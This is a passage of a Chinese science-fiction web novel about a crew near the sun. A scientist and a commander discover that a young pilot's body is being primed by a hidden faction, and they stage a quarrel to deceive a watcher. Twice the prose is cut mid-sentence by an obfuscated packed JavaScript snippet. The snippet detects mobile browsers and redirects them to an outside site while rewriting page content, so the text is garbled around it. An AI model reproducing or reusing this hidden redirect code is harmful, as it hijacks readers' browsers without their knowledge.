梦到这里开始瓦解,像沙堡被潮水冲刷。灼痕的光芒褪去,火星的红色淡出,训练场的黑暗消散。所有碎片旋转着离他远去,留下空洞冰冷的清明。 他躺在现实里,躺在医疗床上,左手缠着绷带,无名指根部还在隐隐作痛;戒指已经摘下,放在旁边的托盘里,表面裂纹如蛛网。 意识逐渐沉回身体,感官重新连接。他听见循环系统的低鸣,闻见消毒水的气味,感觉到绷带摩擦皮肤的触感。 还有一句话,从梦的深处浮上来,贴在内耳,轻声重复: “人死了,就什么都没了。” 他终于睁开眼。 他看见与自己对上的那双眼睛里的光芒暗了暗,像有什么东西熄灭;然后那人转身,背影消失在舱门后。梦里的画面跟着追出去,他看见那人走向远处一堆扭曲的金属残骸——那是他的实验舱,已经完全塌陷,冒着细小的电火花。 那人在残骸前站了很久,火星的风卷起红色的尘埃,扑打在他背上,将那道人影衬得孤绝,像荒漠里一根快要折断的旗杆;只有眼睛清晰——深色的,亮得惊人,瞳孔里映着闪烁的警报红光。 还有一道痕迹,从锁骨位置向上延伸,在汗湿的皮肤上泛着刚受伤般的红肿。 那道痕迹在发光。 “博士,”怀从咎站起来,“您醒了。” “……”祝觉明坐起来,“你一直在等我?” “不是说任务之后解决问题吗,”怀从咎笑了,“我想问,你为什么总是预知危机呢?” 难道你看过剧本吗? “……”祝觉明无话可说,“我做了个梦。” 梦里的自己动作笨拙地摘下手套,左手手指已经肿得难以弯曲、无名指上的戒指卡在关节处,他试了两次才褪下来。金属圈躺在掌心,裂纹在灯光下泛着细碎的光,像抽象的艺术品。 很离奇的梦,一片混沌,他不知道脑波抑制器怎么还能坏,也不知道到底谁去休息了。 但他决定先按下不谈,毕竟显然有现在更需要他处理的事,就摆在他面前。 还有非常需要他解决的人。 “巧了,”怀从咎点头,把操控系统给祝觉明看,“在你没醒的时候一次太阳耀斑爆发了,我凭直觉避开了致命冲击风暴,但被系统记录为行为偏离模型了,你要不要提我收拾一下?” 祝觉明坐起来,看向操控台。 ……自己居然在操控中心睡了两个小时吗? 真的是太累了? 还是有什么变故,在他熟睡时悄然发生了? 现在不该提前收答案。 他们还没带去交卷的东西呢。 “还有,”怀从咎微笑,“苏持风又给你传讯息了,你记得看。” “没什么。”祝觉明哑声,“我们接下来是不是要训练逃离轨道了。” 按计划,他们是开着小艇撞太阳,但舰船得试着逃回去;这是需要模拟系统训练的,陈启作为舰船操纵者必须要参与。 不然长官都死了,谁来开船。 16. 苦路 训练在四个系统时后启动。 祝觉明调出模拟程序界面时,怀从咎已经站在驾驶席旁,手指悬在启动键上方;陈启从监测台跑过来,脸颊还带着刚完成数据核对的微红,眼底跃着光。 “老大,博士,”他笑的明媚,“这次模拟参数我复核了三遍,太阳风概率模型用的是最新——” “直接上机。”怀从咎打断他,下巴朝副驾驶座一扬,“你来操纵主舰。” “啊,我?”陈启愣了半秒,随即笑着点头,“明白!” 祝觉明垂眼看向自己屏幕。三维星图展开,近日点号的虚拟轮廓悬浮中央、周围环绕着层层叠叠的数据流:引力梯度、辐射强度、粒子密度、磁场畸变……每一个参数都在跳动。他将注意力聚焦在舰船尾部的推进器阵列——那里用淡红色标出了一片区域,备注写着结构疲劳累积,建议规避极限过载。 这是郭山错部门昨天同步的检修报告结论。 语气公事公办,没有多余解释。 他调出报告附件快速浏览,二十页的技术文档,充斥着扭矩系数、金属疲劳曲线、振动频谱分析……但在第七页的底部,一行小字引起他的注意:“该区域疲劳模式与常规应力分布不符,呈现单向性蚀刻特征,类似高能粒子定向冲刷。疑似外部辐射源干扰,需结合深空环境数据复核。” 外部辐射源。 祝觉明想起舱外作业时,怀从咎刮下的那些锈蚀样本,还有船尾方向那片被加热的空间皱褶;他截取这行文字,拖入待分析文件夹,标记为橙色。 然后他抬头。 陈启已经系好安全带,手指在控制面板上滑过,动作流畅得不像第一次接触这套模拟系统。怀从咎站在他侧后方,双臂环胸,目光钉在少年操作的每一个细节上——那不是监督,是某种绷紧的戒备,像鹰隼盯着雏鸟第一次试飞。 “模拟启动倒计时:十、九、八……”系统女声平稳播报。 祝觉明左手无意识地转着那枚已经裂纹密布的戒指。金属边缘刮过绷带表面,发出细微的沙沙声。他感觉到怀从咎的视线掠过自己手背,停留一瞬,又移开。 “三、二、一——场景载入。” 黑暗吞没视野,随即星光炸亮。 模拟的深空以全息形态包裹舱室,近日点号虚拟体在正前方,太阳悬于右舷,光芒炽烈到即使经过滤镜削弱仍刺痛眼球。陈启深吸一口气,右手握住操纵杆。 “脱离程序启动。”陈启扶上通讯麦,“主引擎点火——” 虚拟震动传来。祝觉明盯着数据流:推进器出力百分之七十四,姿态平衡,航线偏移量在预期阈值内。 一切正常,甚至过于平稳。 怀从咎忽然开口:“陈启。” “在,老大你讲——” “看左舷四十五度方位,距离三百公里。有什么?” 陈启立刻调取传感器数据:“微陨石群,规模小,相对速度每秒两公里,预计一分二十秒后进入警戒区。” “怎么处理?” “标准规避程序:偏转航线十五度,启动副推进器补偿——” “错了。”怀从咎打断他,语气听不出情绪,“你现在开的是满载的科研舰,不是灵活的战斗艇。十五度偏转需要的主推进器过载会触发结构警报。看你的右侧监控屏。” 陈启扭头,看见右侧屏幕跳出一条黄色警告:主推进器三号单元温度爬升异常,已逼近安全线。 “那……减至十度?” “十度规避不够,陨石群会擦过舰体,击穿表层装甲的概率是百分之三十七。”这次是祝觉明接话,他调出计算模型,数据流在两人之间共享,“你需要的是五度偏转,配合姿态调整喷口连续微调,在二十秒内完成三次S型规避。这样推进器负载分散,温度可控,安全距离足够。” 陈启眼睛睁大:“但S型机动对操纵精度要求太高了,而且连续微调会消耗——” “消耗备用推进剂库存的百分之三,换来舰体完好和任务连续性。”怀从咎接上,手指在全息星图上划出三道蜿蜒的弧线,“按博士说的做。现在。” 陈启点头,双手重新落上操纵杆。虚拟震动变得密集,近日点号在星空中划出纤细而精准的折线,像缝纫针穿过紧绷的布料。每一次转向都伴随推进器短促的喷流,蓝焰在真空中闪烁。 祝觉明监控着数据。温度曲线在安全线下方起伏,结构应力分布均匀,航线偏移被控制在极窄的区间内。陈启的操作称得上漂亮——虽有细微迟滞,但决策果断,修正及时。他调出陈启的生理监测数据:心率上升至一百一,呼吸略快,但脑波显示高度专注,无明显应激紊乱。 然后他看见了异常。 在陈启完成第二次S型转向的刹那,监测屏上代表“舰体外部能量场读数”的曲线突然上翘;幅度很小,持续时间不足零点三秒,若非祝觉明一直盯着实时数据流,几乎会被系统自动过滤为背景噪声。 但那上翘的波形,与太阳辐射的实时波动频谱完全吻合。 共振。 祝觉明手指顿在键盘上。他调取那零点三秒的原始数据,运行快速分析。波形匹配度百分之九十四,能量传递效率超模型预测值三点七倍。 这不符合物理常识——舰体屏蔽层完好,外部能量场不可能如此高效地穿透并引发内部读数波动。 除非波动源在内部。 他看向陈启。 人额角渗出细汗,嘴唇抿成直线,全部注意力仍集中在操纵上;他的右手无意识地搭在控制台边缘,手腕上那根磨损的灰蓝色绑带,随着动作微微晃动。 祝觉明调出高精度生物场扫描——这是医疗模块的附加功能,通常只用于危重监护。数据刷新:陈启周身生物磁场强度在基础值上浮百分之十八,分布形态呈不规则涡旋,最密集处恰在右腕。 而涡旋的频谱特征,与刚才外部能量场的异常波动一致。 “怀从咎。”祝觉明开口,“怀从咎。” 驾驶席旁的男人转过头。 “看陈启的生理监测,次级面板第三栏。” 怀从咎视线扫过去。两秒后,他似乎“嘶”了一声。 “能量亲和性”这个词从未出现在正式报告里,但此刻数据自己说话。祝觉明将刚才那零点三秒的波形与陈启的生物场频谱并列展示,匹配度曲线跃上屏幕,像两道注定交汇的河。 “模拟暂停。”怀从咎闭了闭眼,“先暂停。” “老大?”陈启茫然抬头,“我还没完成——” “暂停。”怀从咎重复,“听我的。” 全息星空冻结。舱内恢复照明,冷白光线洒下,将每个人脸上细微的表情变化照得无所遁形。陈启看看怀从咎,又看看祝觉明,喉结滚动: “我……操作失误了?” “没有。”祝觉明关掉匹配度曲线,“你完成得很好。先休息五分钟。” 陈启张了张嘴,最终沉默地解开安全带,走向饮水机。他的背影在灯光下显得单薄,作战服肩线撑得不太平整。 怀从咎走到祝觉明工作站旁,俯身,压低声音:“那是什么?” “初步判断是生物场与环境辐射的异常耦合。”祝觉明调出刚才的数据分析界面,“耦合效率超常,且呈现双向性——不仅外部能量能影响他,他的生物场似乎也在向外辐射特定频谱。这解释了你预视中光从他体内炸开的画面,若辐射强度达到阈值,确实可能引发视觉可见的能量释放。” “阈值多少?” “按现有模型推算,需要生物场强度提升至目前水平的三十倍以上,且环境辐射频谱必须完全匹配。”祝觉明翻了下数据,“但模型有缺陷。我们刚穿过宇宙弦结节,空间参数已发生变化。实际阈值可能更低。” 怀从咎直起身,目光追向陈启。后者正仰头喝水,喉结急促滚动。 “怎么形成的?” “未知。”祝觉明调出陈启的完整档案,从基因序列到历年体检记录,快速浏览,“无家族病史,无异常暴露记录,既往任务辐射累计量在安全范围内。唯一特殊项是三个月前的一次常规深空巡逻,他所在的护卫舰曾短暂穿越一片未备案的电磁乱流区。事件报告记载为仪器干扰,无人员伤亡。” “乱流区的坐标?” “已销毁。”祝觉明调出那份报告的归档记录,“理由是数据不可靠,疑为传感器集体故障。但销毁指令的签发部门,是联合政府深空防御司技术审查处。” 怀从咎瞳孔微缩。 技术审查处的现任主管,是郭山错。 “巧合?”怀从咎声音压得更低,“他跟我很多年了,独立带任务都不是问题的。” 不然这俩长官哪来的闲情逸致聊天,把陈启一个人丢去忙上忙下。 “概率太低。”祝觉明关掉界面,屏幕暗下去,映出两人模糊的倒影,“我更倾向于那是某预处理。” 这个词让空气凝滞。 怀从咎的手撑在控制台边缘,锁骨处的灼痕在衣领下隐隐发烫,像在呼应遥远而不祥的共鸣。 “郭山错在监控我。”他忽然无声的吐出一口气,“从今早开始,我的个人终端有三次非授权访问记录。加密等级不高,但足够获取基础生理数据和舱内活动日志。” 祝觉明调出系统访问审计。果然,三条记录,时间分别在六点、九点、半小时前。来源IP被伪装成常规巡检程序,但跳转路径露出破绽——最终指向安全部门的内部服务器。 “他想确认你的情绪稳定性。”祝觉明得出结论,“陈启的异常耦合若被激发,你的反应是关键变量。他需要预判。” “预判什么?我会发疯?还是会阻止?” “都有可能。”祝觉明看向怀从咎,“而你的反应,会决定他采取哪种优化措施。” 怀从咎笑了。那笑容很浅,未达眼底。 “比如?” “比如若你情绪失控,他可能启动强制镇静程序,甚至将你暂时隔离。若你试图干预陈启,他可能提前执行催化窗口的预备流程。”看不出来祝觉明到底知不知道、又是不是幕后和郭山错一伙的人,“而无论哪种,陈启都会暴露在更高强度的辐射环境下,加速耦合进程。” “所以我的不安,我的保护欲……都在他们的计算里。”怀从咎说这话时,目光仍锁着陈启。人刚喝完水,正用袖子擦嘴,察觉到视线,抬头回了个有点困惑的笑。 “在计算里,但并非不可变。”祝觉明调出一个新的模型界面,参数正在快速迭代,“我刚更新了预测算法,加入了你作为变量的非线性反馈。结果显示,若你能在情绪波动达到临界点前,主动介入并引导陈启进行特定的神经调节训练,耦合进程可能延缓,甚至逆转。” “神经调节训练?” “基于林静渊早期研究的反向抑制技巧。原理是用特定频率的声光刺激,干扰生物场与环境辐射的谐振。”祝觉明调出一份加密文件草稿,“我昨晚初步设计了方案,但需要实验体配合验证。原本计划任务结束后再申请,但现在——” “现在时间不够了。”怀从咎接上,“陈启的状态在变化,郭山错在监控,太阳越来越近。你需要我做什么?” “说服陈启接受训练,不引起他怀疑。同时,我需要你配合演一场戏。” “戏?” “让郭山错以为,你的情绪波动完全在他的预测范围内。”祝觉明调出一张情绪曲线模拟图,“我会在你的生理数据流里插入特定模式的噪声,模拟出焦虑累积—短暂失控—强制平复的周期。而你,需要在陈启面前表现出相应的行为:前期过度保护,中期因小事爆发争执,后期被迫接受我的介入调节。” 怀从咎盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174321|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那张曲线图。模拟的波峰波谷尖锐而规律,像精心编排的戏剧高潮。 “你要我对他发火?”怀从咎不解,“我不明白。而且,你不觉得郭山错暴露的实在太明显吗,就像故意留出破绽给我们捉。” ……当一个人可能有嫌疑时,什么都能被查; 但当这个人有明显的谬误,那么大家都在追着这个疏忽,而忽略其他有些事。 “必要的话,是的。”祝觉明听起来平静的不像是在操纵情绪,“但内容需要设计。不能涉及任务核心,最好是围绕操作细节的争执——比如他规避动作不够精准,或者反应慢了零点几秒……这样即便被监听,也合情合理。” 怀从咎沉默了很久。陈启已经走回驾驶区,但没有坐下,只是靠在座椅旁低头摆弄那根绑带,将松脱的尾端重新绕紧。 他的的手指很灵巧,打结的动作快而稳;腕骨凸起的弧度在冷光下清晰明显,怀从咎忽然觉得自己做不到,他想否决祝觉明的计划。 “我做不到。” 他最终还是抗争了。 祝觉明抬眼。 “对他发火,为些鸡毛蒜皮的事。”怀从咎声音低哑,“他是跟着我上来的,他信我能带他回去。现在要我演这出戏,让他觉得我不可理喻,让他困惑甚至难过——我做不到。” “这是保护他的最有效路径。”祝觉明微微蹙眉,“你不理解?” “有效,但脏。”怀从咎转过脸,直视祝觉明,“你们这些算尽一切的人,是不是永远不懂,有些线踩过去、人就碎了。” 祝觉明与他对视。镜片后的眼睛深静,像封冻的湖,但湖底有暗流在涌。 “我懂。”祝觉明最终妥协了,“我明白。” 怀从咎怔住。 这人什么时候这么好说话了? “我踩过,我知道那是什么感觉,所以你说得对。”祝觉明似乎想说什么,“而现在我们脚下还有另一条线——陈启的命。你要选干净,还是要他活?” 问题砸在寂静里,回声隆隆。 怀从咎闭上眼。喉结剧烈滚动,像吞咽苦涩的后果。再睁开时,眼底那簇晦暗的火烧得更旺,却不再摇曳,而是凝固成残忍的决绝。 “……怎么演?” “从下次模拟开始。”祝觉明调出训练计划,“我会调整难度,加入几个容易引发争议的操作节点。你需要在这些节点上对陈启施压,语气要急,指责要具体。我会在旁劝阻,但态度保留,最终建议神经调节训练作为解决方案。陈启若抗拒,你就表现得更焦躁,直到他妥协。” “他会哭吗?”怀从咎声音很轻,“他会再也不信任我吗?” “概率百分之四十三。”祝觉明给出数字,“但若他哭,效果更好。郭山错会认为你的情绪已足够不稳定,适合进行下一步催化预备。” 怀从咎转回去,背影模糊而孤寂。 “行。”他的答案听不出可还是不可,“继续训练吧。” 祝觉明点头,正要重启模拟,加密通讯面板忽然闪烁;这次是双向音频请求,标识并非苏持风,而是一串乱码生成的临时信道。 两人对视一眼。怀从咎退后两步靠在工作站旁,姿态放松,但目光锐利。 祝觉明接通,公放。 “祝博士。”苏持风的声音传来,比以往更急促,背景里有持续的低频警报声,“通讯窗口很短,长话短说。技术审查处内部审计发现,郭山错部门在过去三个月内,有七次未备案的设备调拨记录。调拨物品包括高精度辐射发射器、生物场谐振线圈,以及一套神经脉冲调制阵列。” 祝觉明手指在键盘上快速敲击,调出对应设备的技术规格:“这些设备组合,能构建一个小型定向辐射场。” “是的。”苏持风吸了口气,“更关键的是,调拨记录的时间与地点,与陈启所在护卫舰遭遇电磁乱流的事件完全吻合。我对比了舰船黑匣子的原始数据——那不是自然乱流,是人为辐射场引发的干扰。” 舱内温度骤降。 怀从咎站直身体,祝觉明和他对视一眼。 “谁授权的调拨?” “授权链被加密,我的权限无法破解。但记录最后经手人签章,是郭山错的副官。”苏持风的声音有些渺远,“还有一件事。袭击事件中,回归派使用的技术源,确认为早期哨兵防御系统的逆向工程版本。而那个版本的系统源代码,在郭山错部门的数据服务器里有完整备份,访问日志显示,袭击发生前七十二小时,该备份被复制过一次。” “复制者?” “IP地址被多层跳转掩盖,但终端物理位置锁定在技术审查处大楼内部。”苏持风听起来快哭了,“博士,这不是漏洞。这是计划的一部分。郭山错在准备备用方案,而陈启……可能是关键组件。” 通讯在被强制切断前,短暂杂音像刀锋划过金属。 祝觉明盯着暗下去的通讯面板,怀从咎已经变了脸色、眼里烧着超越愤怒而杀意凛冽的寒光。 “备用方案。”怀从咎几乎要笑出来,“他们连袭击都算进去了。如果回归派成功夺船,他们会怎样?用陈启当活体炸弹?还是用他当诱饵,引我上钩?” “信息不足,无法推断。”祝觉明调出郭山错的完整档案,快速筛选,“但他的行为模式有逻辑可循。郭山错是绝对的计划主义者,信奉效率至上。若他布局,必然有明确的目标函数。我们需要知道那个函数是什么。” “怎么知道?” “等他下一步动作。”祝觉明关掉档案,目光落在陈启身上。人已经坐回驾驶席,正低头检查操纵杆灵敏度,侧脸在屏幕光里显得专注而无辜。 “他会继续施压,通过监控你的情绪,通过调整训练难度,甚至通过制造意外。”祝觉明还是觉得不太对,“而我们,需要在他行动的同时,反向推导他的目标。” 17. 七印 怀从咎沉默良久。然后他走向驾驶区,手掌按在陈启肩头。 人儿抬头,眼睛亮晶晶的:“老大,继续训练吗?” “继续。”怀从咎声音已恢复平稳,甚至带上一点惯常略带戏谑的轻松,“但这次我来设障碍。你做好心理准备,别被我骂哭。” “才不会!”陈启笑了,“老大说什么就是什么。” 模拟重启。星空再次包裹舱室。怀从咎站在陈启侧后方,开始以苛刻的标准点评每一个操作。语气越来越急,指责越来越尖锐,从“转向慢了零点五秒”到“推进器点火时序混乱”,每一个细节都被放大。 陈启起初还笑着应“是”,渐渐笑容消失;在一次高难度复合机动中,他因计算失误导致虚拟舰体轻微擦伤,怀从咎终于爆发。 “停!”怀从咎一巴掌拍在控制台上,响声在舱内炸开,“陈启,你脑子呢?基础动力学公式都能代错?你这样的水平怎么跟我上来的?靠运气?!” 祝觉明就隔着观测窗看着,心里的不安越发涌动。 苏持风如果想传讯会提前起码十二个系统时给他发讯息,即使突然联络、关乎此次任务的她完全可以堂而皇之走公用频道。 她一点都不蠢。 那么究竟是一步步引着他们再不能回头的陷阱,还是谁人真有那么好心,想为他们好、想任务成功? ……他们还是离观测者太近了。 这不对。 而陈启整个人僵在座椅里,还握着操纵杆;他什么声音都没发出,看来是完全不知道怀从咎为什么发这么大火。 “怀指挥官,”祝觉明终于适时介入,“训练容错是必要的。陈启的表现已在平均水准之上。” “平均水准?”怀从咎冷笑,转向祝觉明,“博士,你的模型里,平均水准够活着回去吗?外面是太阳,不是游乐场!一个失误,我们全得化成灰!” “正因如此,才需要循序渐进的训练,而非苛责。” “循序渐?时间呢?”怀从咎逼近一步,两人之间距离缩短到呼吸可闻,“太阳每分每秒都在靠近,危机每时每刻都在累积!他没时间慢慢学了!要么立刻变强,要么——” 他停住,像突然意识到自己失态,猛地后退、抬手按住眉心;他深呼吸,再放下手时,脸上满是压抑的疲惫与焦躁。 他的微表情完全没有一点问题。 就算是林静渊在这里,也不会分析出任何异常。 ……ai! 他们用的系统辅助是林静渊研发的ai,它会不会看着他们,把一举一动传向何处? 祝觉明忽然觉得毛骨悚然。 如果是那样,那自己与观照背地里肮脏龌鹾的合作,是不是早已人尽皆知? ……即使他活下来他也可能回不了地球了。 真正再不能回家的是自己。 弹尽竭虑、筹谋计划,最后一切太平、而自己烟消云散。 顺着联合组织就是英雄,悖逆他们,也许自己与观照一起滚下去万人唾骂。 可观照本来就是废棋,他知道的。 观照要是有用,自己都不会与之合作。 因为自己不做不可控制之事。 舱内一片死寂。只有模拟星空的背景光无声流淌。 陈启低着头,肩膀微微发抖。一滴水珠砸在手背上,他迅速擦掉,动作快得像被烫到。 良久,怀从咎哑声开口:“……抱歉。” 陈启摇头,没抬头。 “我建议,”祝觉明调出一份文件,“工作继续,但暂停常规训练,改为神经调节专项课程;这能提升陈启的神经反应稳定性,可能有助于改善操作精度。” “你愿意吗?”怀从咎看向陈启,不自觉多了些愧疚,“问你自己。” “只要能帮上忙,”陈启终于抬头,“我什么都做。” “那就这样。”怀从咎转身走向舱门,“我出去透口气。你们开始吧。” 他离开的脚步声在通道里远去,最终消失在闭合声后。 祝觉明调出神经调节程序界面,温和地示意陈启移到医疗区。陈启配合地躺下,戴上接入头盔时小声:“博士,老大他……是不是压力太大了?” “是的。”祝觉明调整参数,声音平稳,“所以我们需要帮他分担。放松,专注跟随提示音。” 声光刺激启动。柔和的光斑在眼前旋转,特定频率的波音涌入耳膜。陈启逐渐放松,呼吸平缓。 祝觉明监控着数据流。生物场强度在缓慢下降,涡旋分布趋于平顺。耦合系数回落零点三个百分点。 有效。 但他同时调出了另一个隐藏界面——情绪模拟器的反馈数据。代表怀从咎“焦虑值”的曲线,在他爆发并离开后,并未如郭山错模型预测的那样回落,而是持续爬升,最终稳定在一个危险的高位。 而在这条曲线下方,另一条更细微的线在波动。 那是祝觉明左手戒指的残余感应读数,金属内嵌的微型传感器仍能捕捉特定频段的神经辐射。 此刻,传感器正记录到一段规律的低频脉冲。 来自怀从咎的方向。 那是摩尔斯电码。 祝觉明垂眼,指尖在控制面板边缘轻敲,无声解码。 信息很短,只有八个字母: 【TRUST PATH】. 他关掉界面。 舷窗外,恒星的光芒持续涌来,将舱内一切镀上燃烧般的金边。模拟星空的边缘、虚拟的太阳表面,一道日珥正缓缓升起,绵延数十万公里,像神明伸出的试探的手指。 祝觉明看向沉睡的陈启。 少年眉头微蹙,仿佛在梦里也在计算着转向的角度、推进的力度、生存的概率。 而真正的计算,正在寂静中铺开。 棋盘之上,棋子开始自行移动。 祝觉明闭上眼,苦涩的笑了。 怀从咎啊怀从咎,如果我从一开始就骗了你,如果真相独独瞒着你和陈启…… 你会怎样想? 你会后悔认识我吗? 怀从咎,如果此刻你能听见这些——这些从未宣之于口的算式背后的杂音…… 我该从何说起? 是从第一次在绝密档案里看到你的名字、旁边标注着“高维意识共鸣体,潜在稳定性:低,催化效率:极高”开始?还是从会议桌上你站起来,目光劈开绝望,问我模型里有没有“不惜一切代价”那个变量开始? 不。或许该从更早,从火星基地的废墟里,我被谁人从塌方的数据舱拖出来开始。我现在仍然不知道是谁,报告上只有一个代号;我签了字,注意力全在损毁的存储阵列恢复概率上。那串代号,那道灼伤,那些“无关紧要”的细节——都被我归类为“任务损耗”的附录,扫进了记忆的底层。 那时候,你在我最烦的时候,主动提出要帮我修正数据。 直到你站在我面前,锁骨下那道痕迹在简报室的冷光里微微发亮;直到我的抑制器第一次因你而尖啸,直到所有公式都在指向同一个结论:你是我计划中最关键的活体密钥,也是最不稳定的那个误差项。 我选择了计算,而非相认。 因为相认会带来情感变量。而情感,在拯救七十亿人的算式里,是必须被括除的噪声。我告诉自己:靠近你、观察你、引导你、必要时利用你——这是最优解。陈启的基因标记,苏持风的动摇,观照的布局,甚至郭山错的“优化”……所有这些齿轮都必须严丝合缝地转动,才能将你送到那个催化窗口前,将你的意识点燃成足以骗过观测者的火光。 而我,是设计齿轮的那个人。 我计算过你的愤怒,计算过当你知道陈启被选为催化素时会爆发的强度;计算过你会如何恨我,更计算过我们往后会如何再不复相见。我将这些恨意也纳入模型,作为激发你共鸣的额外能量参数;看,多么高效,连你的痛苦都是燃料的一部分。 我弹尽竭虑,穷尽图谋。 但我没计算到一件事。 ……我没计算到,我这样的人,会有千言万语难掩其意的时刻。 ——— 怀从咎在通道里踱了第四圈。 金属地板映着他拉长的影子,随顶灯规律明灭而变形;他停在舷窗前,外面是永恒的深空与那颗越来越庞大的恒星。金红色光芒透过滤片,在他脸上切割出明暗交错的硬边。 他想起祝觉明刚才的话——“TRUST PATH”。 信任路径。 这八个字母醒目而吵闹的烫在意识里。 路径通向哪里?是生路,还是更精致的陷阱? 他更想起训练时自己那场表演。每一句吼叫,每一次拍桌,陈启那逐渐黯淡下去的眼神……那不是表演。至少不全是。焦躁是真的,恐惧是真的、那种想把信任紧紧摁在安全地带、却只能看着他往危险里走的无力感…… 是真的。 他抬手按住锁骨,灼痕安静蛰伏,没有发烫、没有发光;但皮肤下那圈闷烧般的余温从未散去,像地心未熄的火。 这火终要将自己燃烧殆尽。 通道尽头传来脚步声。 陈启走过来,作战服已经穿戴整齐,手里拎着工具箱。他脸上没什么表情,甚至可以说平静;但眼底浮着一层薄薄的水光,像是刚用力眨掉过什么。 “老大。”他在怀从咎身后两步处停下,“我复核完了。左侧主传感器阵列有个隔热层破损,需要出舱补焊。模拟里那个失误……我想做点实际的补回来。” 怀从咎没转身:“叫工程组去。” “工程组在抢修循环系统的二级过滤网,抽不开人。”陈启笑了一下,“而且这个破损位置刁钻,得从外侧悬吊作业。我体型最合适。” “我说了,叫别人。” “老大。”陈启往前走了一步,“刚才训练时你发火,我懂。是我没做好。但现在是真活儿,我能做好。让我去吧。” 怀从咎终于转过身。他看着陈启,看着人眼睛里那簇倔强的想要证明什么的光;那光太熟悉了,像很多年前的自己,也像很多次循环预视里,陈启转身走向气密舱门时,回头投来的最后一瞥。 “不行。”怀从咎本来该同意,却忽然拒绝了,“你不能去。” “为什么?” “没有为什么。” 陈启笑了。那笑容很浅,带着点无奈,又有点释然。 “老大,你以前不是这样的。以前哪怕再危险的任务,你只会说跟紧我,不会说不准去。” 怀从咎有些答不上话。他想说因为这次不一样,因为外面有东西在等你、因为你的命被写进了别人的算式里……但他一个字都吐不出来。 那些话堵在胸腔,发酵成酸涩的硬块,斩灭他们所有曾经相识的流年。 “警报:检测到太阳活动异常。”通道广播忽然响起系统女声,“日冕物质抛射(CME)前兆确认,预计四十七分钟后抵达本区域。强度:G5级(极端)。请所有人员立即进入避险程序。” G5级。足以在瞬间剥离飞船外层防护。 怀从咎和陈启同时看向舷窗外。恒星表面,原本相对平静的光球层正在翻涌,一大片暗区边缘迸发出刺目的白光——耀斑爆发了。几秒后,肉眼可见的由高能粒子组成的淡金色海啸从白光中喷薄而出,无可阻挡地朝飞船方向扩散。 “不是离任务执行还有120个系统时吗!”怀从咎看向控制台,“祝觉明,这是怎么回事??” 祝觉明不在控制台。 他去主控室换数据板电池了。 “时间不够了。”陈启低声,“隔热层不补,传感器阵列会在CME冲击下过载烧毁。到时候我们连航线修正的数据都拿不到。” “他说得对。” 怀觉明的声音从后方传来。 怀从咎猛地回头。祝觉明站在通道转角,手里拿着数据板,脸色苍白得有些不正常;他左手绷带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174322|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边缘渗出新的血渍,无名指位置空着——那枚裂纹戒指已被取下。 “模型更新了。”祝觉明走到两人中间,将数据板转向怀从咎,“CME的精确抵达时间提前了。不是四十七分钟,是三十三分钟。而且这次抛射里混杂了大量高密度微陨石群,被太阳风加速成了弹幕。飞船现在的姿态,左侧传感器阵列正好在弹幕覆盖扇区内。” 屏幕上,三维模拟图残酷地展示着:代表CME的金色浪涌前方,密密麻麻的红色小点如蜂群般扑来。而飞船左舷那片标红的破损隔热层区域,像靶心一样醒目,显然连他都没料到意外。 “工程组赶到那边最少需要十五分钟,作业时间二十分钟。”祝觉明眸光微敛,“来不及。只有现在立刻出舱,在CME前锋抵达前的窗口期完成修补,才有可能保住阵列。” “有可能?”怀从咎盯着他,“概率多少?” “概率,”祝觉明沉默了一瞬,“百分之三十七。” “那失败的概率呢?百分之六十三?你让他去赌这个?” “不是赌。”祝觉明抬眸,镜片后的眼睛深得看不见底,“是选择。阵列失守,飞船失去半数导航数据,后续所有机动都变成盲人摸象。任务整体成功率将降至百分之十以下。修补阵列,即便出舱人员损失,任务成功率仍可维持在百分之四十一。” “人员损失。”怀从咎重复这个词,每个音节都像从冰里凿出来,“你说得真轻松,博士。” 祝觉明没有避开他的目光。“我说的是事实。” “事实是你早就知道会这样!”怀从咎往前一步,几乎撞上祝觉明的肩膀,“从训练时陈启的生物场异常,从苏持风那份真假不明的通讯,从郭山错的监控——你就算不出另一条路?你的模型不是无所不能吗?!” “模型算出了十七种路径。”祝觉明声音依旧平稳,但尾音有极轻微的颤,“最优解就是现在出舱修补。次优解是放弃阵列,但需要立即执行极端规避机动,那会导致飞船结构过载,有百分之五十一的概率在机动中解体。剩下的十五条路径,生还率都低于百分之五。” “……而所有路径里,没有一条能保证陈启绝对安全。” 通道陷入死寂。只有广播里重复的警报声,和舷窗外恒星持续迸发的无声的咆哮。 陈启看着两人,忽然笑了一声。 很轻,但足够打破僵持。 “老大,博士。”他平静的提起工具箱,“别吵了。我去。” “陈启——”怀从咎想抓住他手臂,但陈启侧身避开了。 “我知道你们在瞒我什么。”陈启目光在祝觉明脸上停留片刻,又转向怀从咎,“训练时老大的火发得太假了,博士你劝架也劝得太刻意。还有那些偷偷摸摸的数据、加密通讯……我不傻,我感觉得到。” 他深吸一口气:“但没关系。任务总要有人去做,活儿总要有人去干。我是士兵,这是我的职责。而且——” 他看向怀从咎,眼底那层水光终于凝成很浅的、温润的弧度。 “而且我相信你,老大。以前是,现在是,以后也是。你会带我回家的,对吧?” 怀从咎说不出话。喉咙像被什么东西死死扼住,所有声音都碎在肺叶里;他只能点头,很重地点头,一下、又一下。 